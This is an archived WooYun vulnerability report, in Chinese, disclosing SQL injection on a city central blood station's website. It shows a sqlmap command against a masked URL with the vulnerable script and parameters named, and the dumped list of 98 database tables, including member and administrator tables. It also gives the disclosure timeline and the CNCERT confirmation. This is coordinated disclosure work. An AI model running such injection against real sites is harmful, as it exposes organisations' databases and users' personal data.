当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151128

漏洞标题：某市中心血站sql注入漏洞一枚

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-11-02 16:26

修复时间：2015-12-21 11:00

公开时间：2015-12-21 11:00

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-02： 细节已通知厂商并且等待厂商处理中
2015-11-06： 厂商已经确认，细节仅向厂商公开
2015-11-16： 细节向核心白帽子及相关领域专家公开
2015-11-26： 细节向普通白帽子公开
2015-12-06： 细节向实习白帽子公开
2015-12-21： 细节向公众公开

简要描述：

RT

详细说明：

C:\Users\Administrator>sqlmap.py -u "http://**.**.**.**/jsarticle.php?leng=38&r
ows=5&type=com&fid=10"


1.jpg

漏洞证明：

Database: s483151db0
[98 tables]
+----------------------------+
| php168_ad                  |
| php168_alonepage           |
| php168_area                |
| php168_article             |
| php168_article_module      |
| php168_bak                 |
| php168_channel             |
| php168_collection          |
| php168_comment             |
| php168_config              |
| php168_copyfrom            |
| php168_count_site          |
| php168_count_stat          |
| php168_count_user          |
| php168_fenlei_ad           |
| php168_fenlei_adminwork    |
| php168_fenlei_area         |
| php168_fenlei_comments     |
| php168_fenlei_config       |
| php168_fenlei_content      |
| php168_fenlei_content_11   |
| php168_fenlei_content_12   |
| php168_fenlei_content_13   |
| php168_fenlei_content_14   |
| php168_fenlei_gather_ruleq |
| php168_fenlei_module       |
| php168_fenlei_sort         |
| php168_fenlei_spsort       |
| php168_form_module         |
| php168_friendlink          |
| php168_friendlink_sort     |
| php168_gather_rule         |
| php168_gather_sort         |
| php168_group               |
| php168_guestbook           |
| php168_hack                |
| php168_label               |
| php168_limitword           |
| php168_memberdata          |
| php168_members             |
| php168_menu                |
| php168_module              |
| php168_reply               |
| php168_report              |
| php168_sellad              |
| php168_sellad_user         |
| php168_sort                |
| php168_spsort              |
| php168_template            |
| php168_vote                |
| php168_vote_config         |
| pw_actions                 |
| pw_administrators          |
| pw_adminlog                |
| pw_adminset                |
| pw_bbsinfo                 |
| pw_block                   |
| pw_cache                   |
| pw_cnclass                 |
| pw_config                  |
| pw_creditlog               |
| pw_credits                 |
| pw_elements                |
| pw_feed                    |
| pw_forumdata               |
| pw_forums                  |
| pw_forumsextra             |
| pw_forumtype               |
| pw_hack                    |
| pw_help                    |
| pw_ipstates                |
| pw_medalinfo               |
| pw_memberdata              |
| pw_memberinfo              |
| pw_members                 |
| pw_mpageconfig             |
| pw_msg                     |
| pw_msgc                    |
| pw_online                  |
| pw_permission              |
| pw_plan                    |
| pw_polls                   |
| pw_posts                   |
| pw_proclock                |
| pw_recycle                 |
| pw_schcache                |
| pw_setform                 |
| pw_sharelinks              |
| pw_smiles                  |
| pw_sqlcv                   |
| pw_stamp                   |
| pw_styles                  |
| pw_threads                 |
| pw_tmsgs                   |
| pw_tools                   |
| pw_usergroups              |
| pw_voter                   |
| sgxzcx03                   |
+----------------------------+

修复方案：

尽快修复！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-11-06 10:58

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无